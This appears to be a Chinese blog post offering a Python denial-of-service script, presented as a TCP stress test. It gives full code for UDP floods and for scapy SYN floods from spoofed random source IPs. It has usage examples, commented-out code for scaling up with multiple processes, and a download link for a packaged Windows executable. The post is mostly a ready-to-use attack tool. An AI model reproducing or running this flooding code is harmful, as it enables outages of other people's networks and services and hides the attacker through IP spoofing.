python DOS 攻击,TCP压测脚本

pip3 install string&&scapy

#!/usr/bin env python
#-*-coding:utf-8-*-
import socket,random,string
import time,sys
from scapy.all import *
from concurrent import futures
class Dos:
    def __init__(self,t_ype,sip,dip,port,pps,dos_time):
        self.t_ype = t_ype
        self.sip = sip
        self.dip = dip
        self.port = port
        self.pps = pps
        self.dos_time = dos_time
        self.data=''.join(random.choice(string.ascii_letters+ string.digits) for x in range(10000)) #10000字节80k
    def _udp(self,work_id):
        count = 0
        while count<self.dos_time:
            try:
                sk = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
                sk.bind((self.sip,0))
                sk.sendto(self.data.encode('utf-8'),(self.dip,self.port))# 8M
            except Exception as e:
                print(e)
            time.sleep(0.01)
            count+=0.01
    def _tcp(self,work_id):
        count = 0
        sip = '.'.join([str(random.randint(1, 256)) for x in range(4)])
        syn = IP(src=sip,dst=self.dip)/TCP(sport=RandShort(),dport=self.port,flags='S')
        while count<self.dos_time:
            try:
                send(syn,verbose=0,inter=0.01,count=100)
            except Exception as e:
                print(e)
            time.sleep(1)    #100个tcp连接
            count+=1
    def run(self):
        if self.t_ype.upper() == 'UDP':
            func = self._udp
            pps = self.pps//8+1
            unit ='Mpps'
            count = pps*8
        elif self.t_ype.upper()=='TCP':
            func = self._tcp
            pps = self.pps//100+1
            unit = 'Connetcions'
            count = pps*100
        work_id = [x for x in range(pps)]
        print('''SourceIp:%s
    DestiantionIp:%s
    DstPort:%s
    %s:%s %s
    KeepTime:%sS'''%(self.sip,self.dip,self.port,self.t_ype,count,unit,self.dos_time))
        with futures.ThreadPoolExecutor(100) as executor:
            res = executor.map(func, work_id)
if __name__=='__main__':
    try:
        t_ype,sip,dip,port,pps,dos_time = (sys.argv[x] for x in range(1,7))
        dos = Dos(t_ype,sip,dip,int(port),int(pps),int(dos_time))
        dos.run()
    except:
        print('argv:')
        print(' tcp/udp,SourceIp,DestiantionIp,DstPort,Mpps/Connections,KeepTime')
        print('     SourceIp:TCP can be a fake IP,UDP cannot ')
        print('     Mpps/Connections:UDP use Mpps,TCP use Connetcions ')
        print('example:')
        print(' ./dos  udp 10.0.3.108 10.0.64.74 1111 10 5')
        print(' ./dos  tcp 1.1.1.1 10.0.64.74 1111 1000 5')


# 机器性能不足可以启用多进程
# from multiprocessing import Process
# def dos(sip,dip,port,pps,dos_time):
#     pps = pps//8+1
#     print('''SourceIp:%s
# DestiantionIp:%s
# DstPort:%s
# pps:%sMpps
# KeepTime:%sS'''%(sip,dip,port,pps*8,dos_time))
#     for x in range(pps):
#         p = Process(target=run,args=(sip,dip,port,dos_time))
#         p.start()

windows 打包exe

链接:https://pan.baidu.com/s/1xkzZaWn9gw1b6W9AkavOzg
提取码:wq05

Leave a Reply

Your email address will not be published. Required fields are marked *

X